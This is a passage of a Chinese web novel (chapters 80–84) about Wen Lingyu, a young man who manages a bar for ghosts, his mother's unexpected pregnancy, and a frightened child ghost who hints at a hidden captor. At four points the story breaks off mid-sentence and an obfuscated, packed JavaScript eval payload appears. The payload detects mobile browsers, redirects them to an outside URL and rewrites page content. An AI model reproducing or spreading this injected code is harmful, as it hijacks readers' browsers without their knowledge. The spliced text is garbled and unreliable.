“当然不是。”于先生立即反驳道，“当时我也是因为这个病死的，只是我当时用光了所有的钱才多活了几年，十几年的医疗发展并不能让这个病得到治愈。我比谁都希望你活得久，活得好。” 只不过，他们兄妹两个的运气太差劲了，都没有得到药物的问世。 于苑也还记得于安说的，房子卖掉都给她治病了，清楚分馆的地是拿不回来的，“哥，我跟着姐姐听到了她和温老板的谈话，房子是为了给我治病卖的，已经花掉了房子也拿不回来了。” 不过从于苑的话里，于先生倒抓住了另一点，“这些事你是从温老板那里听到的？” 80.她的勋章 “我同意。” 于先生隔天一早就来了这，情绪异常平静，甚至还同意了解散分馆的要求。 温令羽也知道这件事是他们做得不厚道，便让于先生一起搬到鬼小馆，这边的待遇绝不会少了他的。 于先生是有地方可以去的，但对于于苑，他想把她留在鬼小馆里。 “小苑我想让她进研究所学习，这是我的唯一条件。”于先生是想交换上次的对象，因为分馆的事情黄掉了，温令羽他们需要做出弥补。 加上于先生已经把话说死了，摆在温令羽面前只有同意一个选项。 对于研究所，可以称得上是鬼小馆最神秘的地方。 鬼魂生活的一切都是他们发现并且研究出来的，某些原理，恐怕只有当事人知道了，连老板都是一知半解的。 不是隐瞒什么的，就仅仅是没有必要，老板只需要知道用法就好了。 所以温令羽还真不清楚该如何去介绍研究所，偏偏研究所里的人都忙碌，除了新产品出现过来知会一声，其他的时候完全没法把人叫出来。 温令羽看着于苑的眼神，话被噎住了，他张了张口：“我想想怎么和你说的……” 于苑对于重新学习这件事也开心，她在分馆就爱研究这些乱七八糟的，能去研究所她特别兴奋。 “研究所是一个广泛的概念，它实际上是分散的，你有感兴趣的吗？我再把你介绍进去。”温令羽决定把选择权交给于苑。 于苑正在抉择的时候，温令羽的电话响起了。 居然是令美珑打来的，不过只响了一声就挂断，但很快又打了一遍。 这番操作一点不像是打错的。 “阿羽，你觉得我这个妈妈做得称职吗？”令美珑那边还传来说话声，之前一段时间在医院太多了，光凭一点信息就猜到令美珑在医院。 要不然就是个需要取号的地方。 温令羽刚想到这里，就待不住了，但于苑还在这里，他立马把酒保叫过来，“于苑进研究所的事情交给你了，我先走了。” 话落，温令羽重新把电话拨了回去，准备自己开车过去找她。 但无论温令羽怎么打，电话是通了，但却迟迟不接通。 温令羽心急如焚，还好路上的车辆不多，遇到的红绿灯不多，与原本的预计达到时间还少了一半。 令美珑电话没接，好在消息回复了，还附带了她的定位地址。 温令羽来到中心医院，直奔电梯间，按了令美珑所在的楼层，从里面一出来，看清了医院墙壁上的对应楼层介绍，脚步都顿住了。 妇产科。 温令羽仅懵了一瞬，很快回过神来，去找令美珑的身影。 “妈，你怎么突然来医院了？” “阿羽，要是妈妈和你说，你又要有个弟弟或是妹妹，你觉得怎么样？” 令美珑手里的报告清清楚楚地宣告怀孕的事实，温令羽脑子都转不过来，凭肌肉记忆在回应：“我觉得挺好的。叔叔知道这个好消息了吗？” “没有。我还没有想好怎么说？”令美珑眼中闪过一丝落寞，她摇了摇头。 温令羽突然想到了弟弟，他还记得他自己第一次听说令美珑怀孕的时候，也是花了很长时间接受，安慰道：“弟弟肯定能理解你的。” 不会认为你不称职。 这句话温令羽没说出口。 令美珑长长叹了口气，她要是想留下这个孩子就不是这样的了，她最近升职事情忙得很，怀孕几乎打破了她全部的计划。 但当有想打掉孩子的念头出现，她的心里就无比愧疚。 在此之前，自己唯一愧对的就是此刻站在自己面前的大儿子，所以她没经历过太多的思考，就把电话打了过去。 其实她明白，这个电话就能让温令羽出现在自己的眼前。 这些心里活动，像一副画卷的一幕幕在令美珑脑海里呈现，尽管很想找个人说说话，还是下意识就排除了儿子。 “既然过来了，我现在带你去吃饭。”令美珑选择暂时放下这个话题。 温令羽和令美珑都开车过来的，不过令美珑还带上了她的助理，在他们说话的时候，助理从停车场把车开上来。 在医院大门口，令美珑接到了丈夫的电话。 “检查报告出来了吗？确认过了吗？” 温令羽和令美珑站得很近，声音从手机里传了出来，能听清他们对话的内容。 令美珑没有想隐瞒丈夫的打算，就和他说了情况，确实是猜测的那样。 电话那头的丈夫很高兴，准备跟领导请个假，说要来医院接她。 “阿羽也在，我准备和他去吃个饭。”令美珑是不想让丈夫特意过来一趟。 丈夫像是没听出来意思，坚定地说：“阿羽过来了，那我更要好好招待他，我来医院门口接你，我和你助理说一声。” 说完就挂断了，没等两分钟，助理发来的确认短信。 令美珑让助理把车开回公司，十分妥协地站在门口等，转头让温令羽自己先过去，“叔叔已经定好位置了，你先过去吧。” 两个人都在这里等，太引人注目了。 温令羽回道：“我等叔叔接上你再走。” “不放心我？长大了。”令美珑很欣慰地说，“这件事别和你弟弟说，我担心影响他学习。” 温令羽答应下来，他和弟弟的关系还真没有熟到这种地步。 叔叔像是算好了似的，来得特别快。 温令羽看人坐车走掉，他才去开车，他没停到医院的地下停车场，看样子是他太明智了，不然他要等半天才能出来。 吃饭定的地是在有名的酒楼里，但温令羽没记错的话，这家店可是要提前三天预约，不然可拿不到靠窗包厢的位置。 温令羽被服务员带到预定包厢，一张圆桌上，令美珑和叔叔离得非常远，双方各自坐在对面的位置上。 令美珑指了指她身边的座位，“阿羽，过来坐。” 于是，在两人的笑容中，坐了下来。 紧接着，服务员把其他空位上的餐具撤了下去，再把预定的菜一份份端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼前如此伤心的样子，在温令羽的记忆中没出现过。 温令羽一时间有些手足无措，下意识想去拥抱她，但他的双手在即将靠近令美珑的肩膀前停下，他回过神来接着收回了手。 “妈，你打电话来问我称不称职。在我的心里，你是最好的妈妈，给什么都不换的。”温令羽克制自己，不让声音泄露了内心的紧张，让令美珑发现了。 因为这话不仅是安慰，也是剖白。 温令羽很感谢令美珑给他留下的所有，这些东西让他能有底气。 同时也告诉他，真正的话语权是要拼来的，光靠给予的早晚有一天会被收回。 就像温父让他进公司就去，一不高兴就让他滚蛋。 若非是令美珑把温氏的股份转到了他的名下，不然他在温家一句话都不会被听见，待遇肯定比现在都糟糕。 81.突发情况 等令美珑吃饱后，放下了筷子。 温令羽才问令美珑接下来的安排，实际上也是他担心令美珑，毕竟刚和丈夫吵掰的她能到哪里去。 但是接下来的话，表示他是多虑了。 令美珑哪是会因为这些事情受挫，有影响但不多。 “公司安排了我出差，阿羽你送我去高铁站吧。”令美珑要回去收拾好自己的行李，这一次的出差给了冷静思考的时间和机会。 在事业和家庭的艰难抉择里，是需要更多的时间。 而她的车已经被助理开回去了，至于打车的选项自然而然忽略了。 温令羽当然不会拒绝，他送令美珑回家整理好东西，然后再将她送到公司楼下，目送她上楼。 突然，令美珑似有所感地回头，就看到温令羽正靠立在车门上，静静地看着她目光温柔。 在她记忆中的孩子，是那个小小的身影趴在车窗上，沉默地看着她跟着别人离开，狠心地没有说一句挽留眷恋的话，要是没有看见他紧握的小拳头，还有红红的眼睛的话。 而现在温令羽已经长得比她还要高了，情绪也不像小时候那么容易看穿，像她一样，只不过眉眼更像他的父亲。 令美珑停了下来，转身回到温令羽身边。 她是知道前夫利用完孩子之后就把他踹了，但插不了手。 事实上她对于温令羽能帮温氏处理好这次的危机，非常惊讶和不可置信。 “阿羽，我们公司的研发部正在招人，和你的专业相配，有没有考虑来试一试？”令美珑在征求温令羽的意愿，内心是希望他能过来。 温令羽疑惑地看向令美珑，令美珑所在的公司确实是他们专业的就业走向，而且是非常不错的一份专业，特别是对于他们学校而言。 学校好是好的，只是非王牌专业拿不出手。 令美珑从没给温令羽制定过规划，这一次也是心血来潮，见到温令羽犹豫的表情，以为他是不愿意，不再强求他：“我依稀记得你说过挺喜欢现在的专业，所以要是你愿意的话。” 这话一下子把温令羽的记忆拉了回去，填志愿那天的印象渐渐变得清晰起来。当时，成绩出来他和宋时盛一群人在外度假，突然来的电话通知让大家都没了继续玩的兴致，直接终止了游玩计划选择打道回府。 他们一群人里，除了宋时盛和温令羽成绩好一些，可以留在省内不错的院校还在本市，其他的成绩只能去省外读个好学校，不然就是出国。 温令羽曾在管理类专业上纠结了一段时间，他从小上的培养课就是这些，更何况温父明明白白表示过不会让他继承公司，自己手上的股份是一点都不会给温令羽的。 纠结和犹豫一下子就没了，也不想去学管理。 于是，对温父不再报有期望，温令羽干脆选了另一个感兴趣的，他也想和母亲靠近一点来弥补自己多年来的误会。 所以在之前的愿望将要成真之际，温令羽有些无所适从，但他愿意的：“我想的，只不过我的学校不好，去了也不一定能被选上。” “比赛奖项是可以加分的，既然还没毕业就趁着现在有时间去做。”令美珑知道温令羽愿意，也给了很多有用的建议。 两人这么一聊，令美珑定好的时间就不得已推迟，助理迫不得已打电话来催老板，再晚她真要赶不及买的那班高铁。 助理也是没想到，老板就在自家公司楼下停车场，结果竟然是差点没赶上车。 把令美珑顺利送上车之后，温令羽这断断续续开了一天的车的任务终于结束。 温令羽自己实在是累极了，光是想想要把车开回去就腰酸背痛，直接在常住的酒店定了房间，想休息一晚上再回去。 因为没有提前预定过，温令羽居住的要求又高，酒店一时间没有空闲又干净的房间，就安排让温令羽在大厅等一会。 温令羽懒得再跑下一个地方，这家酒店令美珑有投资，没适合的房间也得腾一个出来，酒店只能去协调一个房间出来给他住。 温令羽坐在大厅沙发上等，面前的桌子上摆的是服务员端来的甜点。 “东西放好直接去游乐园，有人直接带我们过去。”旁边有对话声，温令羽本意是不想听的，却没料到能在这里看到弟弟。 一天之内，分别看到他们一家三口。 温令羽苦笑一声，他后知后觉意识到今天的日子，高中生不应该在工作日的这个时候出现在这里，想着站了起来，叫了弟弟的名字。 “哥，你怎么在这里？” “应该是我问你吧，今天不是周末。” 弟弟回答得坦荡：“我请假出来的，同学生日。” 令美珑前脚出差，他后脚就请假出来。 温令羽感觉其中必有猫腻，还想再问的时候，对方已经找到借口走了。 弟弟的身后还跟着他的同学，一群人浩浩荡荡去他们定好的房间，温令羽却看到尾巴后面跟着一位小鬼。 小鬼自认没有人能看到他，旁若无人地跟着他们，然后在一个角落被温令羽拦住了。 “你为什么要跟着他们？” “你为什么也能看得见我？！” 对方显然比他更为惊讶，十分害怕地后退，将自己的后背紧紧靠在墙壁上，和温令羽拉开了距离。 他没发现，温令羽在听到他的话后，也退后了好几步。 要是温令羽的记忆没有出错的话，现在只有温令羽能看见鬼魂，其他人是怎么做到的？ 温令羽逼近小鬼：“那你说除了我以外，还有谁能看见？” 小鬼显然提到那个人很害怕，身体开始控制不住地抖起来，声音变得断断续续的。 “我不知道他的名字，他从不和我们介绍他的身份，他还会电我们。”小鬼说到最后，已经轻到听不见了，但还是强撑着不让自己倒下来。 温令羽把他带到了自己的房间，“他为什么要，虐待你们？” 谈到虐待这个词，温令羽犹豫了片刻，如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143819|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果是按照对方的说辞，那描述得就没有错。 小鬼意识到温令羽没有恶意，给了他时间平复，渐渐地平静下来，开始将他们遇到的事。 除了他以外，还有好几个被抓过来的鬼魂。 幕后之人不知道从哪里得到的消息，在极度痛苦或者恐惧之下，身为人的意识会脱离出来，只要鬼魂在此刻同样痛苦，双方就能发生共鸣。 此时此刻将人拖进鬼的世界就是最容易的，而现实中的人会陷入昏迷，更严重的会直接死亡。 因此，这位小鬼被安排在这边，想着靠游乐设备能够完成任务，就不用挨打挨罚了。 温令羽很快意识到事情的严重性，他需要尽快告诉温老他们。 那群人在暗处，他们在明处，压根不知道哪里入手才好。 小鬼被温令羽的表情吓到，他觉得这个房间也不是安全之地，轻手轻脚地打算跑路，不料一下被温令羽发现了。 “你要去哪里？”温令羽并不觉得小鬼能跑到其他地方去，幕后之人抓到没完成任务的小鬼不会轻饶，“可能那个人就躲在暗处等着抓你。” 小鬼被吓得直接坐在了地上，也不想跑了。 “你能救我吗？我真没害过人。”小鬼生怕温令羽不管他了，把所有的短自己都揭了个干净，“我是那群人里资质最差的，就是学不会，这是我的第一次行动！” 温令羽倒是相信小鬼的说辞。 这一趟出来，竟然还有了这么一番收获，温令羽带着小鬼直接到了鬼小馆。 小鬼听说过这里，但还没有来过，一进来像是踏入了仙境，东看西看地不停，“这就是大名鼎鼎的鬼魂栖息地啊，传言不虚。” 温老和晋叔听完后，脸色并不好，见到温令羽回来的喜悦也一扫而光，愁眉苦脸。 “到底是谁呢？”晋叔是活了好几代的，世界上能有第二个拥有这种能力的，他还从来没有碰到过。 几乎在他们的认知里面，这种能力具有排他性，似乎只会存在在一个人的身上，恰恰因为如此，鬼小馆的老板更迭才如此顺利。 以这种能力作为判定标准，但显然现在的标准被打破了。 温老拉住了小鬼，又问了一些幕后之人的事。 但这个小鬼不是核心人物，非常边缘性的人物，压根不知道其他内情。 架不住温老翻来覆去地问，小鬼的脾气也上来了，“我能说的都说了，不要再逼我了。” 语气太激动，一口气都没缓过来。 他这么一吼，在场的也没再问了，整个气氛都沉寂下来，也给了他安静思考的机会。 “等等，他好像说过是鬼小馆的老板……”小鬼也不确定有没有听错，“我也不确定，只是听他画饼的时候说过。” 此话一出，所有的鬼魂的目光转向唯一的人类。 这口锅突然盖到了温令羽自己的头上，他大声地反驳：“我可没做过这些事，可不能冤枉我。” “我知道。” 82.疑似人选 “就你那个破胆子，肯定不是你。” 小鬼拆起台来，一点都不顾及温令羽的面子。 温令羽反过来嘲笑小鬼，说道：“你还好意思说我，刚刚不知道是谁被吓到了。” 他们斗得起劲，也是想缓和气氛，自从提到那个人，大家都脸色都没有好过，像是那人下一秒就要出现把所有人解决掉。 大家是第一次遇到这样的情况，防备心很重，但是没有实际见过，处理方法想不出来。 当事人肯定要等他露面。 所以，晋叔第一个提议让小鬼重新回去，让他来当间谍，“把小鬼送回去。舍不得孩子套不着狼。” 晋叔有话语权，其他都不敢随随便便反驳，哪怕心底里不赞同。 “他跟我们回来，说不定他早知道了，不能害死孩子。”温老眼见没鬼出来说话，不能任由晋叔一人决定。 温令羽也不同意，有了他俩站出来发声，除了晋叔都赞同，让同类去送“死”太残忍了。 晋叔拧不过所有人的意见，当起了甩手掌柜，“我不管了，我什么都不说了。” 事情涉及得太多了，小鬼和辉辉住在一起，方便温老一同照料，省得他两头跑最后都顾不上。 两个小孩住一起，能够快速增进感情，也有共同话题。 温令羽还记得辉辉要跟他说的话，迟迟没收到消息，打算趁着送小鬼回房间的机会问个清楚，自告奋勇地提议自己前去。 温老不理解温令羽非要跟去，“你刚回来就喊累，真不用回去休息。” “当然。别磨蹭了，走。”温令羽催促温老快点走。 推开辉辉房间门，里面空无一鬼，辉辉不在自己的房间里。 “辉辉不见了！”温令羽紧张地转身，想去找辉辉，却被温老一把拉了回来。 温老指了指楼下，解释道：“辉辉开始上课了。” 温令羽是一直以来是没有停止过学习的，对有关学习的一切厌烦得不行，实在是不理解死后成了鬼魂，还逃不开学习这道关卡。 不过尊重他人命运，温令羽就没问出口。 辉辉有了新的室友，是要知会他一声以此来询问他的意见，温老就把他从课堂中带了出来。 依旧和上次见面的一样，爱吵爱闹的辉辉真的消失不见了。 温令羽看温老带着辉辉走上来，温老跟他说，辉辉脸上没有什么表情，细细地看发现他的眉头皱起来，无声地在拒绝。 小鬼见过的人和鬼很多，感受到辉辉的排斥，而且从别人的眼中，可以知道这位就是自己将来的室友。 好像还不愿意。 他自己还不乐意。 小鬼哼了一声，先一步说道：“你才不要和别人住，我要一个人住。” 他的话传进了在场的耳中，辉辉终于是不低头看地板了，赏了一个眼神给小鬼，想看看这位到底是什么任务。 视线相撞的瞬间，小鬼总觉得这张脸很熟悉，像是哪里看到过。 可见过的人太多了，一时间记不起来是从哪里看到的，但是他可以确信，辉辉他见过。 辉辉是不记得小鬼，他拉了拉温老，在他耳边说了几句话。 温老向他确认：“你可以吗？” “可以。”辉辉不打算为难众人，只是房间多一张床罢了，而且他们住在一屋也不一定能有交流。 把小鬼安顿在辉辉的房间里，两个孩子成了室友。 其实隔壁是有空位的，温令羽提过让小鬼过去住，还没和小鬼说，温老就给了他一个无法拒绝的理由 “小鬼还在念书的年纪，要通过学习培养好的思想。”温老想让小鬼和辉辉一块去上课，让辉辉监督小鬼一块去，要是不在同一个房间。 凭小鬼插科打诨的性格，能好好去上课就怪了。 有了这一层的担忧，温令羽也就随温老安排去了。 然后在第二天，温令羽和温老大早就来，想看看辉辉和小鬼的相处情况，担心两个在房间里打起来了。 好在，没有打架的坏消息传来，倒是他们两个分开来告状。 辉辉起得更早，起床之后就来和温老诉苦，在说小鬼在房间里有多么作威作福。 大晚上不睡觉还打扰辉辉学习，由于隔天还要上课叫小鬼一起，小鬼不仅没有起床，还砸东西，差点就扔到辉辉身上了。 脾气本就不好惹的辉辉根本没有忍耐，哪里扔来的就往哪里丢回去，出来之前还把门带上了。 “我不想叫他一起。”辉辉是答应了和小鬼同住一间，但他不想揽下一起上课的任务。 温老还想再劝一劝，但眼下不是时候，暂时就同意了。 这边辉辉刚告完状，过了几个小时之后，小鬼他睡醒了来找温令羽。 “我想起来了，以前我见到过辉辉。”小鬼都没打理过自己，醒了就出来找温令羽了。 还没有等温令羽回答，小鬼的下一句就不能再忽略了，“就在一个村子里，我和那个人一起去的，当时辉辉是和一个小女孩在一起。” 温芷欣，这个名字下意识出现在脑海里。 小鬼是在温家村见到辉辉的，当时温芷欣也在，若不是她就是周蔓。 周蔓她能听见温芷欣的声音，难道她也变得能听见其他鬼魂的声音，然后去做了这些事情？ 温令羽下意识地否定了自己的猜测，周蔓不像是会做出这些的人。 可是，阿辛说过他见到周蔓，没有说过周蔓能听到他的声音。 如今看来，是要去见一见周蔓了。 两个说走就走，一点招呼都没有打，除了大厅擦拭酒杯的酒保看到了他们出去，不带有一丝云彩地离开了。 温老在辉辉房间里没看到小鬼，他正着急带他去上课，结果找了一圈都没看到。 “小鬼他人呢？”温老疑惑地问，明明之前还在床上睡觉，一会儿就见不着了。 酒保先是问了，知道温老是在找他俩，说道：“他们刚刚着急地离开了，挺着急的。” “有没有说去哪里了？”平时温令羽还是会说一句的。 酒保摇了摇头，他们走得确实很急，一句话都没留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151754|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 处在话题中心的温令羽和小鬼，沿着导航直接奔周蔓家里去了，还好温令羽存有周蔓的联系方式。 小鬼还不知道出来是找谁的，正为自己不用上课感到开心。 “我们这是去哪里啊？” “对幕后人我有人选了，现在去找她。” 温令羽面不改色地说，没在乎到小鬼内心掀起的惊涛骇浪，他直接从车座上摔了下去，“我要回去，我要上课。” “来不及了，你只能和我一起去。”温令羽还想让小鬼辨认一下。 小鬼没来过这个城市，不知道回去的路怎么走，现下把自己的性命系在温令羽的身上，他对幕后之人的恐惧太深了，后背紧紧靠着车座位。 把自己缩成小小的一个，安全感满满的。 温令羽回头看见了这个样子，安慰道：“放心，我不会让你受伤的。” 小鬼点点头，现下只能相信温令羽，上了贼船不是轻易能下去。 周蔓的新住处离温令羽挺近的，当天就到了，停在学校不远处的路口，等周蔓放学。 高中是走读和寄宿都有，周蔓家为了学习特意搬过来的，自然是选择了走读，通过电话后让温令羽在学校门口等。 小鬼想象中的会面，是在月黑风高的时候，两方见面然后像电视剧一样发展。 结果，对方只是个中学生，他们还得接她放学。 想象和现实落差太大了，一下子把心底里的害怕都扫光了。 小鬼不敢下车，趴在车窗上看校门口，他等了很久了，耐心快耗尽了：“我们还要等到什么时候啊？” 温令羽抬了腕上手表看看，说道：“已经下课了，拖堂了吧。” 来之前温令羽做过攻略，这个学校高一高二不设置晚自习，高三采用自愿制度。 要是这个时间点不出来，那就是拖堂了。 温令羽开始还时刻盯着门口，等着等着，都看得大打哈欠，小鬼整个躺在了后座位，眼睛已经闭上了，马上就要睡着。 忽然，车窗被敲响了，立马把车内一人一鬼都惊到了。 周蔓是凭自己找过来的，她手机玩没电了，联系不上温令羽。 所以只能是一辆车一辆车的车牌号校对过来的，在这个小角落发现了没走的车，她人都走过来了，车还一点反应没有，干脆敲了敲车窗。 像是里面没有人一样。 温令羽开了车锁，周蔓随即坐了进来。 “你怎么会突然过来？有什么事？” “那个……”温令羽默不作声去看小鬼，用眼神询问他是不是周蔓。 小鬼见到周蔓就不害怕了，因为她并不是，实话说道：“我见过她，不是控制我的那个人。” 温令羽松了一口气，语气都变得轻快起来：“有工作在这里，听说你搬到这里来了，请你吃东西？” 周蔓也很高兴，答应下来。 小鬼撇撇嘴，温令羽压根没听完他的话，对他吼道：“能不能听我说说完。你别高兴得太早！那个人和这个见过面，他们认识。” 83.难以融入 “你怎么不早说？” 温令羽脱口而出，惹得周蔓看了过来，她疑惑地问：“我没说什么啊。” 周蔓还在侃侃而谈他们要吃的那家的特色菜，还没说完，就被温令羽的一句话打断了，还来得莫名其妙的。 小鬼被温令羽瞪了一眼，确实是自己没提早说，低下头不说了。 在开车的时候也不好再问了，只能等到饭吃完后，急也是急不来的。 不过确实是读过高中的，吃饭速度很快，半个小时就解决好了，周蔓吃饱喝足还有课程要上。 温令羽直截了当地问周蔓有没有见到过一个人，特意提了他们见面的地点。 他们见面的时候对方全程带了口罩和帽子，把他的脸遮挡得死死的，正因为如此，周蔓对他的影响非常深刻，温令羽一问就记起来了。 “他来找我是为了知道我为什么能知道温芷欣，他说他能看见人看不见的东西。”周蔓能听见温芷欣的声音，正因为这个原因，对方才会找上了门。 他和周蔓碰面的时候，温芷欣已经离开了。 那么对方是怎么知道周蔓能听见温芷欣说话，这一切都太不合理了。 “除了温芷欣外，你能听见其他的吗？”温令羽往这个方向去猜想。 周蔓摇了摇头，温芷欣走后，她的耳边再也没有时不时响起的声音了，至于温令羽说的其他声音，更加是没有过。 温令羽心里的疑惑又深了一分，既然如此对方是从哪里发现的。 周蔓似乎是明白了温令羽的意思，说实话她自己也不知道对方是怎么找上来的，“我其实也不知道，温芷欣已经走了很久了，他突然找上来。” 互不相关的两个人，怎么突然会在一起，少了一条把他们串在一起的线。 周蔓几乎是什么都不知道，既然如此，温令羽也不会和她说太多，对方的危险性太高，轻易把周蔓拉进来太危险。 不知情或许会安全。 线索到这里又断了，温令羽和小鬼只好双双打道回府，等对方从幕后走出来，才能有一点方向。 对方隐藏得太深。 结果，没过几天，小鬼又托酒保传话，说它好像想起来幕后之人的脸，着急要见他。 温令羽不敢耽搁，连课都没上完就急冲冲地走了。 在荒凉的大厅里环视了一圈，没有看见小鬼的鬼影，他明明叫小鬼站在大厅显眼点的地方等他，现在别说是显眼了，把这里翻过来都找不到。 酒保指了指走廊深处的房间，现在是专门用来上课的。 “温老刚刚把他抓进去了，你最好过前门，小鬼已经因为不好好听课被拎到讲台了。”酒保眼观六路耳听八方，小鬼在课堂上的事迹没逃过他的眼睛。 温令羽只能从前门进去，好好和讲课的鬼魂提把小鬼叫出来的事。 讲课鬼魂点点头，动作示意温令羽可以出来把鬼带走了。 小鬼也压根不用温令羽叫，看到老师同意了，跑得非常快，还不忘关上门。 温令羽带小鬼去画室，之前为了画画像，特意建出来画室，还有画师会在这里值班，方便下次遇到紧急情况没有画师在。 小鬼和画师面对面坐下来，画师就等小鬼描述幕后人的样貌，就可以尝试画下来，但是小鬼身体不受控制地在抖，时不时去看温令羽的脸色。 画师安抚他的情绪，“你不用担心，我可是他们几个里面画得最好的。” 本意是想给小鬼一点信心，只要他描述得仔细，就能画得很像。结果小鬼听完，抖得更严重了。 温令羽也觉得奇怪，他走到小鬼身边，“你不是说记起来了吗？一着急给忘了。” 这个理由简直是绝佳的。 小鬼刚想顺着温令羽的话说下来，温老用力推开门，说的话不好听：“或许世界上就没有这个人，全都是你为了留下来瞎掰。” “我这么做有什么好处吗？”小鬼的怒气被激起来，反驳。 温老冷笑一声，他去问了好多鬼魂，都没有这个小鬼说的情况，瞎掰的可能性就更大了，因为说了就能体现他的不可替代性。 鬼小馆对他会更重视。 眼见温老丝毫不接茬，小鬼又将希望放在温令羽身上，“你是相信我的对吗？” “那你就画出来。”温令羽不是傻的，说什么就信什么。 小鬼一手将画板推翻，他后悔至极，早知道就不用这个借口，“我承认我不知道对方长什么样子。我只是不想被关在教室里上课才骗人的，但是那个人是真实存在的，周蔓可以为我证明。” 温老说道：“但周蔓能证明他会害人吗？你可是说他就是会把人拉入地狱的。” 无论小鬼如何辩解，温老就是咬死没鬼见过，这件事就是假的。 甚至还上升到小鬼的个人方面，“它现在满嘴谎话，不管不行了。” 然后不顾温令羽的意见，径直定下小鬼的日后安排，还让温令羽不要再管这件事和这个鬼。 温令羽是旷了课过来，什么结果都没得出来，也不好再说什么，默认同意。 温老注意到温令羽的情绪，送他出鬼小馆。 “可能对方只是能看见一个鬼，和周蔓的情况一样，你就别去管了。”温老不想让温令羽的压力这么大，“现在一切都没变化。” 温令羽被说动了，准备应下来，可是脑海中却出现和小鬼初遇时的状况，小鬼表现出来的恐惧不是假的，一时间他说不出来放手不管了的话。 “我知道了。” 饱含满肚子的疑惑，温令羽翻来覆去睡不着，潜意识里他还是相信小鬼的，可又拿不出证据。 看来以后出门要多带一双眼睛，自带人证，避免再一次碰到说不出话的事情发生。 温令羽到鬼小馆的时候，里面的玩闹刚结束，酒保有条有序地安排人打扫杂乱，下一场狂欢就要接着继续。 “温老他们都回去了，你怎么这么晚还过来？”酒保发现温令羽站在那里。 由于馆内鬼魂变少，加上温令羽和温老把来鬼小馆当成上班，他们上下班时间准时得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167484|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，导致了大伙现在也开始过有昼夜的生活。 温令羽让酒保自己去忙，自己就是瞎溜达才来这里的。 小鬼还是和辉辉住在一起，但是辉辉是严格按照课程时间，这个时间早早就睡了。 学生的房间竟然被上了锁。 温令羽看着门口的锁呆楞了好几秒，叫酒保过来把门开了，门是向外打开的，光线照射进昏暗的屋内，小鬼抱紧自己坐在门边的样子撞进了温令羽和酒保的视线内。 温令羽和酒保对视一眼，把小鬼悄悄带了出来。 “是谁要把你锁在里面？”温令羽疑惑，辉辉到这个时间已经睡下了，能锁住的无非就是醒着的小鬼。 小鬼还在因为温令羽不信任他生气，把脸转到另一边不看他也不说话。 温令羽大半夜赶来就想来问问：“你敢保证你说的都是真的吗？” “我敢保证！”小鬼提到这事也不怄气。 酒保清楚接下来的话题不是他能听的，干脆就给他们空间，他下面还有活要干。 小鬼还在气头上，特别是温老不仅时时刻刻看着他，大半夜怕他跑还关他。 鬼小馆就是个另类的监狱。 小鬼也不想和温令羽再说什么了，一心就是想走，“传言中的鬼小馆尊重鬼魂的意愿，但你们却关着我，我要走。” “要真如你说的那样，他现在肯定在四处找你。”鬼小馆还是个安身之所。 小鬼受够了，对这里的厌恶大过了恐惧。 “我就是想走！” 温令羽没有再劝，有了他保驾护航，没有鬼魂会上来阻拦，更何况温老现在不在，小鬼很轻易就到了门口。 几乎是一看到外面，小鬼就跑了起来。 跑着跑着，温令羽和他隔了很远，小鬼停下来回头看了一眼。 说是在和温令羽道别，实在是太牵强，他是在震惊自己真跑掉了，跑了这么远。 温令羽挥手再见，这个样子的温令羽，小鬼的气也消尽了。 把小鬼送走了。 本以为温老知道后会来兴师问罪，但听现场传来的播报，温老只是回了句“知道了”，其余什么反应都没有。 搞得温令羽想认错的，却迟迟找不到理由开口。 这件事就这么轻易地被揭了过去。 要不是酒保偶尔提起这么个鬼，都快忘了鬼小馆还有这么闹腾的时候。 小鬼在的那几天，一到上课点，就是各种理由从教室出来，然后就躲在某个地方，非要别人把他抓出来，才肯安安分分回到教室。 周而复始，都有新的乐子。 还开辟出鬼小馆里面不少全新的地方。 “之前他在的时候，馆里可热闹了。”酒保十分怀念那段日子。 最近来鬼小馆的新鬼魂又多了起来，大家忙不过来，温令羽被临时拉来帮忙的，他催促道：“快安排吧。看这架势，鬼小馆又一次热闹起来了。” 酒保也赞同：“以前鬼小馆来人是一个一个的，现在开始搞批发了。” 84.锥心对话 分馆已经宣告停业，原先的住址在短短几天内拆掉了。 